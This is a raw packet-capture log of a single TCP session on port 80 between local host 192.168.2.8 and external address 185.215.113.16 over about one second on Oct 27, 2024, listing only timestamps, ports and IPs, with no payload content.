Oct 27, 2024 17:55:19.839873075 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.876441002 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.876472950 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.876496077 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.876530886 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.881433964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.881483078 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.881506920 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.881524086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.881572962 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.917448997 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917476892 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917495012 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917521954 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917534113 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.917537928 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917553902 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917571068 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.917571068 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917587996 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.917603016 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.917639971 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.918399096 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.918423891 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.918437958 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.918473959 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.955394983 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.955414057 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.955457926 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.955533981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.955573082 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.955589056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.955600977 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.955616951 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.955645084 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.956490993 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.956516027 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.956531048 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.956540108 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.956577063 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.993869066 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.993892908 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.993910074 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.993942976 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.998708010 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.998723984 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.998740911 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:19.998761892 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:19.998796940 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.034800053 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.034859896 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.034887075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.034912109 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.034913063 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.034980059 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.035015106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035109043 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035134077 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035151005 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.035157919 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035183907 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035217047 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.035900116 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035934925 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035950899 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.035953045 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.035994053 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.072695017 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.072715044 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.072766066 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.072815895 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.072833061 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.072848082 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.072877884 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.074027061 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.074043036 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.074057102 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.074073076 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.074107885 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.111391068 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.111421108 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.111443996 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.111485958 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.116044044 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.116072893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.116097927 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.116108894 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.116151094 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.152020931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152041912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152053118 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152064085 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152075052 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152115107 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.152360916 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152373075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152383089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152415037 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.152456045 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.152792931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152803898 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152813911 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152825117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.152842999 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.152884960 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.153354883 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.153448105 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.153500080 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.190365076 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.190381050 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.190392971 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.190450907 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.191258907 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.191309929 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.191310883 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.191361904 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.191378117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.191416025 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.228789091 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.228809118 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.228820086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.228832006 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.228843927 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.228888988 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.228928089 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.228992939 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.233747959 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.233763933 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.233774900 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.233827114 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.233859062 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.269520998 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.269541979 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.269556999 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.269578934 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.269594908 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.269608021 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.269649029 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.269696951 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.270011902 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270028114 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270042896 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270056963 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270096064 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.270128965 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.270589113 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270613909 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270627975 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.270667076 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.307691097 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.307794094 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.307885885 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.307895899 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.307907104 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.307918072 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.307928085 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.307957888 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.308010101 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.308645964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.308655977 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.308665037 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.308706999 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.308727980 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.345951080 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.345968008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.345976114 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.346102953 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.351082087 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.351094007 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.351109982 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.351121902 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.351134062 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.351159096 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.351193905 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.386981964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387223959 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387233973 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387244940 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387252092 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387263060 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387274981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387286901 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387288094 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.387342930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.387366056 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.387851000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387861967 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387871981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.387911081 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.425117016 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425174952 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425184965 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425206900 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.425246000 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.425259113 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425276041 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425287008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425298929 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.425354958 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.426080942 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.426151991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.426203012 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.426204920 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.426215887 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.426261902 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.463316917 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.463334084 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.463346004 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.463416100 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.468415022 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.468427896 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.468439102 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.468452930 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.468480110 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.468509912 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.468662977 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.468672991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.468746901 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.504163027 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504203081 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504214048 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504259109 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504273891 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.504308939 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.504443884 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504455090 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504466057 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504506111 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.504532099 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.504832029 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504920006 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504931927 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504941940 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.504982948 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.505013943 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.543957949 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.543968916 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.543979883 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.543997049 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544013977 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544025898 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544030905 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.544037104 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544081926 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.544095993 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544107914 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544118881 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544131041 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544142008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544143915 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.544152975 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.544198990 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.580796957 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.580809116 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.580923080 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.585796118 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.585808039 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.585819006 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.585886002 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.585987091 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.586042881 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.586051941 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.586110115 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.621563911 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.621704102 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.621763945 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.621781111 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.621797085 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.621901035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.621921062 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.621953011 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.621988058 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.622020960 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.622039080 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.622056961 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.622068882 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.622272968 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.660051107 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660090923 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660111904 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.660129070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660305023 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660339117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660365105 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.660373926 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660407066 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660407066 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.660444021 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660456896 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.660964012 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.660998106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661031008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661039114 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.661083937 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.661375046 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661426067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661459923 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661493063 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661513090 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.661528111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.661555052 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.703217983 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703252077 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703304052 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703330040 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.703355074 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703366041 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.703389883 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703424931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703442097 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.703459978 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.703809023 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.704050064 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.704081059 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.704132080 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.738979101 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739013910 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739048004 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739101887 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.739156961 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739208937 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739249945 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739269972 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.739284992 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739299059 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.739340067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.739433050 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.777520895 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777579069 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777614117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777638912 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.777714968 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777780056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777813911 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777847052 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777852058 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.777867079 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:20.777882099 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777915955 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:20.777966976 CET	49713	80	192.168.2.8	185.215.113.16
